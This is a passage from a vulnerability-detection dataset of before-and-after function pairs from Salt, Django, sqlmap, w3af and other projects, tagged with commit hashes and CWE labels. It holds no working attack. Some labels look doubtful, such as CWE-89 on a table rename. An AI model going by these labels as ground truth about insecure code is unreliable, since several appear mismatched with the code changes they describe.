                    for item in containers['host']['interfaces'][interface]['inet']:
                        host_ips.append(item['address'])
        host_ips = list(set(host_ips))

        # Filter out ips from host_ips with cidrs
        if cidrs:
            good_ips = []
            for cidr in cidrs:
                for ip_ in host_ips:
                    if salt.utils.network.in_subnet(cidr, [ip_]):
                        good_ips.append(ip_)
            host_ips = list(set(good_ips))

        # Process each container
        if containers['out']:
            for container in containers['out']:
                if container['Image'] not in proxy_lists:
                    proxy_lists[container['Image']] = {}
                for dock_port in container['Ports']:
                    # If port is 0.0.0.0, then we must get the docker host IP
                    if dock_port['IP'] == '0.0.0.0':
                        for ip_ in host_ips:
                            proxy_lists[container['Image']].setdefault('ipv4', []).append(
                                '{0}:{1}'.format(ip_, dock_port['PublicPort']))
                            proxy_lists[container['Image']]['ipv4'] = list(set(proxy_lists[container['Image']]['ipv4']))
                    elif dock_port['IP']:
                        proxy_lists[container['Image']].setdefault('ipv4', []).append(
                            '{0}:{1}'.format(dock_port['IP'], dock_port['PublicPort']))
                        proxy_lists[container['Image']]['ipv4'] = list(set(proxy_lists[container['Image']]['ipv4']))
    return proxy_lists"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/f5/bigip_vcmp_guest.py,0,"def __init__(self):
        self.supports_check_mode = True
        self.argument_spec = dict(
            name=dict(required=True),
            vlans=dict(type='list'),
            mgmt_network=dict(choices=['bridged', 'isolated', 'host only']),
            mgmt_address=dict(),
            mgmt_route=dict(),
            initial_image=dict(),
            state=dict(
                default='present',
                choices=['configured', 'disabled', 'provisioned', 'absent', 'present']
            ),
            delete_virtual_disk=dict(
                type='bool', default='no'
            ),
            cores_per_slot=dict(type='int')
        )
        self.f5_product_name = 'bigip'
        self.required_if = [
            ['mgmt_network', 'bridged', ['mgmt_address']]
        ]",,ansible/ansible,b40c779e46071001ac3c419901b4e7539bc8ed09,"def __init__(self):
        self.supports_check_mode = True
        self.argument_spec = dict(
            name=dict(required=True),
            vlans=dict(type='list'),
            mgmt_network=dict(choices=['bridged', 'isolated', 'host only']),
            mgmt_address=dict(),
            mgmt_route=dict(),
            initial_image=dict(),
            state=dict(
                default='present',
                choices=['configured', 'disabled', 'provisioned', 'absent', 'present']
            ),
            delete_virtual_disk=dict(
                type='bool', default='no'
            ),
            cores_per_slot=dict(type='int')
        )
        self.f5_product_name = 'bigip'
        self.required_if = [
            ['mgmt_network', 'bridged', ['mgmt_address']]
        ]"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/transport/zeromq.py,0,"def crypted_transfer_decode_dictentry(
        self, load, dictkey=None, tries=3, timeout=60
    ):
        nonce = uuid.uuid4().hex
        load[""nonce""] = nonce
        if not self.auth.authenticated:
            # Return control back to the caller, continue when authentication succeeds
            yield self.auth.authenticate()

        # Return control to the caller. When send() completes, resume by
        # populating ret with the Future.result
        ret = yield self.message_client.send(
            self._package_load(self.auth.crypticle.dumps(load)),
            timeout=timeout,
            tries=tries,
        )

        if ""key"" not in ret:
            # Reauth in the case our key is deleted on the master side.
            yield self.auth.authenticate()
            ret = yield self.message_client.send(
                self._package_load(self.auth.crypticle.dumps(load)),
                timeout=timeout,
                tries=tries,
            )

        key = self.auth.get_keys()
        if HAS_M2:
            aes = key.private_decrypt(ret[""key""], RSA.pkcs1_oaep_padding)
        else:
            cipher = PKCS1_OAEP.new(key)
            aes = cipher.decrypt(ret[""key""])

        # Decrypt using the public key.
        pcrypt = salt.crypt.Crypticle(self.opts, aes)
        signed_msg = pcrypt.loads(ret[dictkey])

        # Validate the master's signature.
        master_pubkey_path = os.path.join(self.opts[""pki_dir""], self.auth.mpub)
        if not salt.crypt.verify_signature(
            master_pubkey_path, signed_msg[""data""], signed_msg[""sig""]
        ):
            raise salt.crypt.AuthenticationError(
                ""Pillar payload signature failed to validate.""
            )

        # Make sure the signed key matches the key we used to decrypt the data.
        data = salt.payload.Serial({}).loads(signed_msg[""data""])
        if data[""key""] != ret[""key""]:
            raise salt.crypt.AuthenticationError(""Key verification failed."")

        # Validate the nonce.
        if data[""nonce""] != nonce:
            raise salt.crypt.AuthenticationError(""Pillar nonce verification failed."")
        raise salt.ext.tornado.gen.Return(data[""pillar""])",,saltstack/salt,a2f489233926dc36efa889b71d15c68e9944c120,"def crypted_transfer_decode_dictentry(
        self, load, dictkey=None, tries=3, timeout=60
    ):
        nonce = uuid.uuid4().hex
        load[""nonce""] = nonce
        if not self.auth.authenticated:
            # Return control back to the caller, continue when authentication succeeds
            yield self.auth.authenticate()

        # Return control to the caller. When send() completes, resume by
        # populating ret with the Future.result
        ret = yield self.message_client.send(
            self._package_load(self.auth.crypticle.dumps(load)),
            timeout=timeout,
            tries=tries,
        )

        if ""key"" not in ret:
            # Reauth in the case our key is deleted on the master side.
            yield self.auth.authenticate()
            ret = yield self.message_client.send(
                self._package_load(self.auth.crypticle.dumps(load)),
                timeout=timeout,
                tries=tries,
            )

        key = self.auth.get_keys()
        if HAS_M2:
            aes = key.private_decrypt(ret[""key""], RSA.pkcs1_oaep_padding)
        else:
            cipher = PKCS1_OAEP.new(key)
            aes = cipher.decrypt(ret[""key""])

        # Decrypt using the public key.
        pcrypt = salt.crypt.Crypticle(self.opts, aes)
        signed_msg = pcrypt.loads(ret[dictkey])

        # Validate the master's signature.
        master_pubkey_path = os.path.join(self.opts[""pki_dir""], ""minion_master.pub"")
        if not salt.crypt.verify_signature(
            master_pubkey_path, signed_msg[""data""], signed_msg[""sig""]
        ):
            raise salt.crypt.AuthenticationError(
                ""Pillar payload signature failed to validate.""
            )

        # Make sure the signed key matches the key we used to decrypt the data.
        data = salt.payload.Serial({}).loads(signed_msg[""data""])
        if data[""key""] != ret[""key""]:
            raise salt.crypt.AuthenticationError(""Key verification failed."")

        # Validate the nonce.
        if data[""nonce""] != nonce:
            raise salt.crypt.AuthenticationError(""Pillar nonce verification failed."")
        raise salt.ext.tornado.gen.Return(data[""pillar""])"
,UNKNOWN,UNKNOWN,lib/request/httpshandler.py,1,"def connect(self):
        def create_sock():
            sock = socket.create_connection((self.host, self.port), self.timeout)
            if getattr(self, ""_tunnel_host"", None):
                self.sock = sock
                self._tunnel()
            return sock

        success = False

        # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
        #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
        if re.search(r""\A[\d.]+\Z"", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, ""SSLContext""):
            for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
                try:
                    sock = create_sock()
                    context = ssl.SSLContext(protocol)
                    _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
                    if _:
                        success = True
                        self.sock = _
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

            if kb.tlsSNI.get(self.host) is None:
                kb.tlsSNI[self.host] = success

        if not success:
            for protocol in _protocols:
                try:
                    sock = create_sock()
                    _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol)
                    if _:
                        success = True
                        self.sock = _
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

        if not success:
            errMsg = ""can't establish SSL connection""
            # Reference: https://docs.python.org/2/library/ssl.html
            if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion(""2.7.9""):
                errMsg += "" (please retry with Python >= 2.7.9)""
            raise SqlmapConnectionException(errMsg)",CWE-327,sqlmapproject/sqlmap,45a2d2a83fb8335cb7177cca2dd5c524e660aab3,"def connect(self):
        def create_sock():
            sock = socket.create_connection((self.host, self.port), self.timeout)
            if getattr(self, ""_tunnel_host"", None):
                self.sock = sock
                self._tunnel()
            return sock

        success = False

        # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
        #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
        if re.search(r""\A[\d.]+\Z"", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, ""SSLContext""):
            for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
                try:
                    sock = create_sock()
                    context = ssl.SSLContext(protocol)
                    _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host)
                    if _:
                        success = True
                        self.sock = _
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

            if kb.tlsSNI.get(self.host) is None:
                kb.tlsSNI[self.host] = success

        if not success:
            for protocol in _protocols:
                try:
                    sock = create_sock()
                    _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol)
                    if _:
                        success = True
                        self.sock = _
                        _protocols.remove(protocol)
                        _protocols.insert(0, protocol)
                        break
                    else:
                        sock.close()
                except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
                    self._tunnel_host = None
                    logger.debug(""SSL connection error occurred for '%s' ('%s')"" % (_lut[protocol], getSafeExString(ex)))

        if not success:
            errMsg = ""can't establish SSL connection""
            # Reference: https://docs.python.org/2/library/ssl.html
            if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion(""2.7.9""):
                errMsg += "" (please retry with Python >= 2.7.9)""
            raise SqlmapConnectionException(errMsg)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def get(self):
            self.set_status(401)
            self.set_header('WWW-Authenticate', 'Basic realm=""something""')
            if self.get_argument('finish_value', ''):
                raise Finish('authentication required')
            else:
                self.write('authentication required')
                raise Finish()",CWE-Unknown,tornadoweb/tornado,5390ea3da16a7f1cc1f9e71d65fb955cb333e8ac,"def get(self):
            self.set_status(401)
            self.set_header('WWW-Authenticate', 'Basic realm=""something""')
            self.write('authentication required')
            raise Finish()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/basic.py,0,"def parseResponse(page, headers):
    """"""
    @param page: the page to parse to feed the knowledge base htmlFp
    (back-end DBMS fingerprint based upon DBMS error messages return
    through the web application) list and absFilePaths (absolute file
    paths) set.
    """"""

    if headers:
        headersParser(headers)

    if page:
        htmlParser(page)

        # Detect injectable page absolute system path
        # NOTE: this regular expression works if the remote web application
        # is written in PHP and debug/error messages are enabled.
        absFilePathsRegExp = ( r"" in <b>(?P<result>.*?)</b> on line"",  r""\b(?P<result>[A-Za-z]:([\\/][\w.\\/]*)?)"", r""(\A|[^<])(?P<result>/[/\w.]+)"" )

        for absFilePathRegExp in absFilePathsRegExp:
            reobj = re.compile(absFilePathRegExp)

            for match in reobj.finditer(page):
                absFilePath = match.group(""result"").strip()
                page = page.replace(absFilePath, """")
                if re.search(""\A[A-Za-z]:"", absFilePath):
                    absFilePath = absFilePath.replace(""/"", ""\\"")
                if absFilePath not in kb.absFilePaths:
                    kb.absFilePaths.add(absFilePath)",,andresriancho/w3af,ea045eaa2fb62b505856fa6fc9b383740b4ad233,"def parseResponse(page, headers):
    """"""
    @param page: the page to parse to feed the knowledge base htmlFp
    (back-end DBMS fingerprint based upon DBMS error messages return
    through the web application) list and absFilePaths (absolute file
    paths) set.
    """"""

    if headers:
        headersParser(headers)

    if page:
        htmlParser(page)

        # Detect injectable page absolute system path
        # NOTE: this regular expression works if the remote web application
        # is written in PHP and debug/error messages are enabled.
        absFilePathsRegExp = ( r"" in <b>(?P<result>.*?)</b> on line"",  r""\b(?P<result>[A-Za-z]:([\\/][\w.\\/]*)?)"", r""(\A|[^<])(?P<result>/[/\w.]+)"" )

        for absFilePathRegExp in absFilePathsRegExp:
            reobj = re.compile(absFilePathRegExp)

            for match in reobj.finditer(page):
                absFilePath = match.group(""result"").strip()
                page = page.replace(absFilePath, """")
                if re.search(""\A[A-Za-z]:"", absFilePath):
                    absFilePath = absFilePath.replace(""/"", ""\\"")
                if absFilePath not in kb.absFilePaths:
                    dirname = directoryPath(absFilePath)
                    kb.absFilePaths.add(dirname)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/blindSqli.py,0,"def audit(self, freq ):
        '''
        Tests an URL for blind Sql injection vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'blindSqli plugin is testing: ' + freq.getURL() )
        
        for parameter in freq.getDc():
            
            # Try to identify the vulnerabilities using response string differences
            self._bsqli_response_diff.setUrlOpener( self._urlOpener )
            self._bsqli_response_diff.setEqualLimit( self._equalLimit )
            self._bsqli_response_diff.setEquAlgorithm( self._equAlgorithm )
            # FIXME: what about repeated parameter names?
            response_diff = self._bsqli_response_diff.is_injectable( freq, parameter )
            
            # And I also check for Blind SQL Injections using time delays
            self._blind_sqli_time_delay.setUrlOpener( self._urlOpener )
            time_delay = self._blind_sqli_time_delay.is_injectable( freq, parameter )
            
            if response_diff != None:
                om.out.vulnerability( response_diff.getDesc() )
                kb.kb.append(self, 'blindSqli', response_diff)
            
            elif time_delay != None:
                om.out.vulnerability( time_delay.getDesc() )
                kb.kb.append(self, 'blindSqli', time_delay)",,andresriancho/w3af,97546efc8f291d6892b0644545531d68278aa359,"def audit(self, freq ):
        '''
        Tests an URL for blind Sql injection vulnerabilities.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'blindSqli plugin is testing: ' + freq.getURL() )
        
        for parameter in freq.getDc():
            
            # Try to identify the vulnerabilities using response string differences
            self._bsqli_response_diff.setUrlOpener( self._urlOpener )
            self._bsqli_response_diff.setEqualLimit( self._equalLimit )
            self._bsqli_response_diff.setEquAlgorithm( self._equAlgorithm )
            # FIXME: what about repeated parameter names?
            response_diff = self._bsqli_response_diff.is_injectable( freq, parameter )
            
            # And I also check for Blind SQL Injections using time delays
            self._blind_sqli_time_delay.setUrlOpener( self._urlOpener )
            time_delay = self._blind_sqli_time_delay.is_injectable( freq, parameter )
            
            if (response_diff != None and time_delay != None) or response_diff != None:
                om.out.vulnerability( response_diff.getDesc() )
                kb.kb.append(self, 'blindSqli', response_diff)
            
            elif time_delay != None:
                om.out.vulnerability( time_delay.getDesc() )
                kb.kb.append(self, 'blindSqli', time_delay)"
,UNKNOWN,UNKNOWN,tests/integration/modules/test_win_pkg.py,1,"def test_adding_removing_pkg_sls(self):
        '''
        Test add and removing a new pkg sls
        in the windows software repository
        '''
        def _check_pkg(pkgs, exists=True):
            self.run_function('pkg.refresh_db')
            repo_data = self.run_function('pkg.get_repo_data', timeout=300)
            repo_cache = os.path.join(RUNTIME_VARS.TMP, 'rootdir', 'cache', 'files', 'base', 'win', 'repo-ng')
            for pkg in pkgs:
                if exists:
                    assert pkg in str(repo_data), str(repo_data)
                else:
                    assert pkg not in str(repo_data), str(repo_data)

                for root, dirs, files in os.walk(repo_cache):
                    if exists:
                        assert pkg + '.sls' in files
                    else:
                        assert pkg + '.sls' not in files

        pkgs = ['putty', '7zip']
        # check putty and 7zip are in cache and repo query
        _check_pkg(pkgs)

        # now add new sls
        with salt.utils.files.fopen(CURL, 'w') as fp_:
            fp_.write(textwrap.dedent('''
                curl:
                  '7.46.0':
                    full_name: 'cURL'
                    {% if grains['cpuarch'] == 'AMD64' %}
                    installer: 'salt://win/repo-ng/curl/curl-7.46.0-win64.msi'
                    uninstaller: 'salt://win/repo-ng/curl/curl-7.46.0-win64.msi'
                    {% else %}
                    installer: 'salt://win/repo-ng/curl/curl-7.46.0-win32.msi'
                    uninstaller: 'salt://win/repo-ng/curl/curl-7.46.0-win32.msi'
                    {% endif %}
                    install_flags: '/qn /norestart'
                    uninstall_flags: '/qn /norestart'
                    msiexec: True
                    locale: en_US
                    reboot: False
                '''))
        # now check if curl is also in cache and repo query
        pkgs.append('curl')
        _check_pkg(pkgs)

        # remove curl sls and check its not in cache and repo query
        os.remove(CURL)
        _check_pkg(['curl'], exists=False)",CWE-703,saltstack/salt,269bde208541d7393108070d0f03f6796ba5ae93,"def test_adding_removing_pkg_sls(self):
        '''
        Test add and removing a new pkg sls
        in the windows software repository
        '''
        def _check_pkg(pkgs, exists=True):
            self.run_function('pkg.refresh_db')
            repo_data = self.run_function('pkg.get_repo_data')
            repo_cache = os.path.join(RUNTIME_VARS.TMP, 'rootdir', 'cache', 'files', 'base', 'win', 'repo-ng')
            for pkg in pkgs:
                if exists:
                    assert pkg in str(repo_data)
                else:
                    assert pkg not in str(repo_data)

                for root, dirs, files in os.walk(repo_cache):
                    if exists:
                        assert pkg + '.sls' in files
                    else:
                        assert pkg + '.sls' not in files

        pkgs = ['putty', '7zip']
        # check putty and 7zip are in cache and repo query
        _check_pkg(pkgs)

        # now add new sls
        with salt.utils.files.fopen(CURL, 'w') as fp_:
            fp_.write(textwrap.dedent('''
                curl:
                  '7.46.0':
                    full_name: 'cURL'
                    {% if grains['cpuarch'] == 'AMD64' %}
                    installer: 'salt://win/repo-ng/curl/curl-7.46.0-win64.msi'
                    uninstaller: 'salt://win/repo-ng/curl/curl-7.46.0-win64.msi'
                    {% else %}
                    installer: 'salt://win/repo-ng/curl/curl-7.46.0-win32.msi'
                    uninstaller: 'salt://win/repo-ng/curl/curl-7.46.0-win32.msi'
                    {% endif %}
                    install_flags: '/qn /norestart'
                    uninstall_flags: '/qn /norestart'
                    msiexec: True
                    locale: en_US
                    reboot: False
                '''))
        # now check if curl is also in cache and repo query
        pkgs.append('curl')
        _check_pkg(pkgs)

        # remove curl sls and check its not in cache and repo query
        os.remove(CURL)
        _check_pkg(['curl'], exists=False)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/minion.py,0,"def _process_event_socket(self):
        tout = time.time() + self.opts['syndic_max_event_process_time']
        while tout > time.time():
            try:
                event = self.local.event.get_event_noblock()
            except zmq.ZMQError as e:
                # EAGAIN indicates no more events at the moment
                # EINTR some kind of signal maybe someone trying
                # to get us to quit so escape our timeout
                if e.errno == errno.EAGAIN or e.errno == errno.EINTR:
                    break
                raise
            log.trace('Got event {0}'.format(event['tag']))
            if self.event_forward_timeout is None:
                self.event_forward_timeout = (
                        time.time() + self.opts['syndic_event_forward_timeout']
                        )
            tag_parts = event['tag'].split('/')
            if len(tag_parts) >= 4 and tag_parts[1] == 'job' and \
                salt.utils.jid.is_jid(tag_parts[2]) and tag_parts[3] == 'ret' and \
                'return' in event['data']:
                if 'jid' not in event['data']:
                    # Not a job return
                    continue
                jdict = self.jids.setdefault(event['tag'], {})
                if not jdict:
                    jdict['__fun__'] = event['data'].get('fun')
                    jdict['__jid__'] = event['data']['jid']
                    jdict['__load__'] = {}
                    fstr = '{0}.get_load'.format(self.opts['master_job_cache'])
                    jdict['__load__'].update(
                        self.mminion.returners[fstr](event['data']['jid'])
                        )
                if 'master_id' in event['data']:
                    # __'s to make sure it doesn't print out on the master cli
                    jdict['__master_id__'] = event['data']['master_id']
                jdict[event['data']['id']] = event['data']['return']
            else:
                # Add generic event aggregation here
                if 'retcode' not in event['data']:
                    self.raw_events.append(event)",,saltstack/salt,08c9fb5f4d1897b90b554b43a4c1869306a9ba40,"def _process_event_socket(self):
        tout = time.time() + self.opts['syndic_max_event_process_time']
        while tout > time.time():
            try:
                event = self.local.event.get_event_noblock()
            except zmq.ZMQError as e:
                # EAGAIN indicates no more events at the moment
                # EINTR some kind of signal maybe someone trying
                # to get us to quit so escape our timeout
                if e.errno == errno.EAGAIN or e.errno == errno.EINTR:
                    break
                raise
            log.trace('Got event {0}'.format(event['tag']))
            if self.event_forward_timeout is None:
                self.event_forward_timeout = (
                        time.time() + self.opts['syndic_event_forward_timeout']
                        )
            tag_parts = event['tag'].split('/')
            if len(tag_parts) >= 4 and tag_parts[1] == 'job' and \
                salt.utils.jid.is_jid(tag_parts[2]) and tag_parts[3] == 'ret' and \
                'return' in event['data']:
                if 'jid' not in event['data']:
                    # Not a job return
                    continue
                jdict = self.jids.setdefault(event['tag'], {})
                if not jdict:
                    jdict['__fun__'] = event['data'].get('fun')
                    jdict['__jid__'] = event['data']['jid']
                    jdict['__load__'] = {}
                    fstr = '{0}.get_jid'.format(self.opts['master_job_cache'])
                    jdict['__load__'].update(
                        self.mminion.returners[fstr](event['data']['jid'])
                        )
                if 'master_id' in event['data']:
                    # __'s to make sure it doesn't print out on the master cli
                    jdict['__master_id__'] = event['data']['master_id']
                jdict[event['data']['id']] = event['data']['return']
            else:
                # Add generic event aggregation here
                if 'retcode' not in event['data']:
                    self.raw_events.append(event)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/forms/formsets.py,0,"def formset_factory(form, formset=BaseFormSet, extra=1, can_order=False,
                    can_delete=False, max_num=None, validate_max=False,
                    min_num=None, validate_min=False):
    """"""Return a FormSet for the given form class.""""""
    if min_num is None:
        min_num = DEFAULT_MIN_NUM
    if max_num is None:
        max_num = DEFAULT_MAX_NUM
    # hard limit on forms instantiated, to prevent memory-exhaustion attacks
    # limit is simply max_num + DEFAULT_MAX_NUM (which is 2*DEFAULT_MAX_NUM
    # if max_num is None in the first place)
    absolute_max = max_num + DEFAULT_MAX_NUM
    extra += min_num
    attrs = {'form': form, 'extra': extra,
             'can_order': can_order, 'can_delete': can_delete,
             'min_num': min_num, 'max_num': max_num,
             'absolute_max': absolute_max, 'validate_min': validate_min,
             'validate_max': validate_max}
    return type(form.__name__ + str('FormSet'), (formset,), attrs)",CWE-Unknown,django/django,b35ff0d9208c426cc0f67c65d724972974734f57,"def formset_factory(form, formset=BaseFormSet, extra=1, can_order=False,
                    can_delete=False, max_num=None, validate_max=False,
                    min_num=None, validate_min=False):
    """"""Return a FormSet for the given form class.""""""
    if min_num is None:
        min_num = DEFAULT_MIN_NUM
    if max_num is None:
        max_num = DEFAULT_MAX_NUM
    # hard limit on forms instantiated, to prevent memory-exhaustion attacks
    # limit is simply max_num + DEFAULT_MAX_NUM (which is 2*DEFAULT_MAX_NUM
    # if max_num is None in the first place)
    absolute_max = max_num + DEFAULT_MAX_NUM
    extra += min_num
    attrs = {'form': form, 'extra': extra,
             'can_order': can_order, 'can_delete': can_delete,
             'min_num': min_num, 'max_num': max_num,
             'absolute_max': absolute_max, 'validate_min' : validate_min,
             'validate_max' : validate_max}
    return type(form.__name__ + str('FormSet'), (formset,), attrs)"
,UNKNOWN,UNKNOWN,tests/modeltests/custom_methods/models.py,1,"def get_articles_from_same_day_2(self):
        """"""
        Verbose version of get_articles_from_same_day_1, which does a custom
        database query for the sake of demonstration.
        """"""
        from django.db import connection
        cursor = connection.cursor()
        cursor.execute(""""""
            SELECT id, headline, pub_date
            FROM custom_methods_article
            WHERE pub_date = %s
                AND id != %s"""""", [str(self.pub_date), self.id])
        # The asterisk in ""(*row)"" tells Python to expand the list into
        # positional arguments to Article().
        return [self.__class__(*row) for row in cursor.fetchall()]",CWE-89,django/django,faf9ff6316fd575f9c03f5a6766766eb00b325aa,"def get_articles_from_same_day_2(self):
        """"""
        Verbose version of get_articles_from_same_day_1, which does a custom
        database query for the sake of demonstration.
        """"""
        from django.db import connection
        cursor = connection.cursor()
        cursor.execute(""""""
            SELECT id, headline, pub_date
            FROM custom_methods_articles
            WHERE pub_date = %s
                AND id != %s"""""", [str(self.pub_date), self.id])
        # The asterisk in ""(*row)"" tells Python to expand the list into
        # positional arguments to Article().
        return [self.__class__(*row) for row in cursor.fetchall()]"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/baseoperator.py,0,"def get_extra_links(self, dttm, link_name):
        """"""
        For an operator, gets the URL that the external links specified in
        `extra_links` should point to.

        :raise ValueError: The error message of a ValueError will be passed on through to
            the fronted to show up as a tooltip on the disabled link
        :param dttm: The datetime parsed execution date for the URL being searched for
        :param link_name: The name of the link we're looking for the URL for. Should be
            one of the options specified in `extra_links`
        :return: A URL
        """"""
        if link_name in self.operator_extra_link_dict:
            return self.operator_extra_link_dict[link_name].get_link(self, dttm)
        elif link_name in self.global_operator_extra_link_dict:
            return self.global_operator_extra_link_dict[link_name].get_link(self, dttm)
        else:
            return None",CWE-Unknown,apache/airflow,4903c9730c09f8a98bdf1d891479be0b1cd238c8,"def get_extra_links(self, dttm, link_name):
        """"""
        For an operator, gets the URL that the external links specified in
        `extra_links` should point to.
        :raise ValueError: The error message of a ValueError will be passed on through to
        the fronted to show up as a tooltip on the disabled link
        :param dttm: The datetime parsed execution date for the URL being searched for
        :param link_name: The name of the link we're looking for the URL for. Should be
        one of the options specified in `extra_links`
        :return: A URL
        """"""
        if link_name in self.operator_extra_link_dict:
            return self.operator_extra_link_dict[link_name].get_link(self, dttm)
        elif link_name in self.global_operator_extra_link_dict:
            return self.global_operator_extra_link_dict[link_name].get_link(self, dttm)
        else:
            return None"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,,CWE-Unknown,tornadoweb/tornado,1ae91f6d58e6257e0ab49d295d8741ce1727bdb7,"def get(self):
        if self.get_argument('permanent', None) is not None:
            self.redirect('/', permanent=int(self.get_argument('permanent')))
        elif self.get_argument('status', None) is not None:
            self.redirect('/', status=int(self.get_argument('status')))
        else:
            raise Exception(""didn't get permanent or status arguments"")"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/db/tests/test_cached_disk_dict.py,0,"def tearDown(self):
        self.cdd.cleanup()",,andresriancho/w3af,168c41adb1af16a0ebb8957104ad647d0107e7c8,"def tearDown(self):
        self.cdd.cleanup()"
,UNKNOWN,UNKNOWN,tests/always/test_project_structure.py,1,"def test_providers_modules_should_have_tests(self):
        """"""
        Assert every module in /airflow/providers has a corresponding test_ file in tests/airflow/providers.
        """"""
        # The test below had a but for quite a while and we missed a lot of modules to have tess
        # We should make sure that one goes to 0
        OVERLOOKED_TESTS = [
            ""tests/providers/amazon/aws/executors/batch/test_boto_schema.py"",
            ""tests/providers/amazon/aws/executors/batch/test_batch_executor_config.py"",
            ""tests/providers/amazon/aws/executors/batch/test_utils.py"",
            ""tests/providers/amazon/aws/executors/ecs/test_boto_schema.py"",
            ""tests/providers/amazon/aws/executors/ecs/test_ecs_executor_config.py"",
            ""tests/providers/amazon/aws/executors/ecs/test_utils.py"",
            ""tests/providers/amazon/aws/executors/utils/test_base_config_keys.py"",
            ""tests/providers/amazon/aws/operators/test_emr.py"",
            ""tests/providers/amazon/aws/operators/test_sagemaker.py"",
            ""tests/providers/amazon/aws/sensors/test_emr.py"",
            ""tests/providers/amazon/aws/sensors/test_sagemaker.py"",
            ""tests/providers/amazon/aws/test_exceptions.py"",
            ""tests/providers/amazon/aws/triggers/test_eks.py"",
            ""tests/providers/amazon/aws/triggers/test_step_function.py"",
            ""tests/providers/amazon/aws/utils/test_rds.py"",
            ""tests/providers/amazon/aws/utils/test_sagemaker.py"",
            ""tests/providers/amazon/aws/waiters/test_base_waiter.py"",
            ""tests/providers/apache/cassandra/hooks/test_cassandra.py"",
            ""tests/providers/apache/drill/operators/test_drill.py"",
            ""tests/providers/apache/druid/operators/test_druid_check.py"",
            ""tests/providers/apache/hdfs/hooks/test_hdfs.py"",
            ""tests/providers/apache/hdfs/log/test_hdfs_task_handler.py"",
            ""tests/providers/apache/hdfs/sensors/test_hdfs.py"",
            ""tests/providers/apache/hive/transfers/test_mssql_to_hive.py"",
            ""tests/providers/apache/hive/plugins/test_hive.py"",
            ""tests/providers/apache/kafka/hooks/test_base.py"",
            ""tests/providers/celery/executors/test_celery_executor_utils.py"",
            ""tests/providers/celery/executors/test_default_celery.py"",
            ""tests/providers/cncf/kubernetes/backcompat/test_backwards_compat_converters.py"",
            ""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_types.py"",
            ""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_utils.py"",
            ""tests/providers/cncf/kubernetes/operators/test_kubernetes_pod.py"",
            ""tests/providers/cncf/kubernetes/test_k8s_model.py"",
            ""tests/providers/cncf/kubernetes/test_kube_client.py"",
            ""tests/providers/cncf/kubernetes/test_kube_config.py"",
            ""tests/providers/cncf/kubernetes/test_pod_generator_deprecated.py"",
            ""tests/providers/cncf/kubernetes/test_pod_launcher_deprecated.py"",
            ""tests/providers/cncf/kubernetes/test_python_kubernetes_script.py"",
            ""tests/providers/cncf/kubernetes/test_secret.py"",
            ""tests/providers/cncf/kubernetes/triggers/test_kubernetes_pod.py"",
            ""tests/providers/cncf/kubernetes/utils/test_delete_from.py"",
            ""tests/providers/cncf/kubernetes/utils/test_k8s_hashlib_wrapper.py"",
            ""tests/providers/cncf/kubernetes/utils/test_xcom_sidecar.py"",
            ""tests/providers/databricks/hooks/test_databricks_base.py"",
            ""tests/providers/google/cloud/fs/test_gcs.py"",
            ""tests/providers/google/cloud/links/test_automl.py"",
            ""tests/providers/google/cloud/links/test_base.py"",
            ""tests/providers/google/cloud/links/test_bigquery.py"",
            ""tests/providers/google/cloud/links/test_bigquery_dts.py"",
            ""tests/providers/google/cloud/links/test_bigtable.py"",
            ""tests/providers/google/cloud/links/test_cloud_build.py"",
            ""tests/providers/google/cloud/links/test_cloud_functions.py"",
            ""tests/providers/google/cloud/links/test_cloud_memorystore.py"",
            ""tests/providers/google/cloud/links/test_cloud_sql.py"",
            ""tests/providers/google/cloud/links/test_cloud_storage_transfer.py"",
            ""tests/providers/google/cloud/links/test_cloud_tasks.py"",
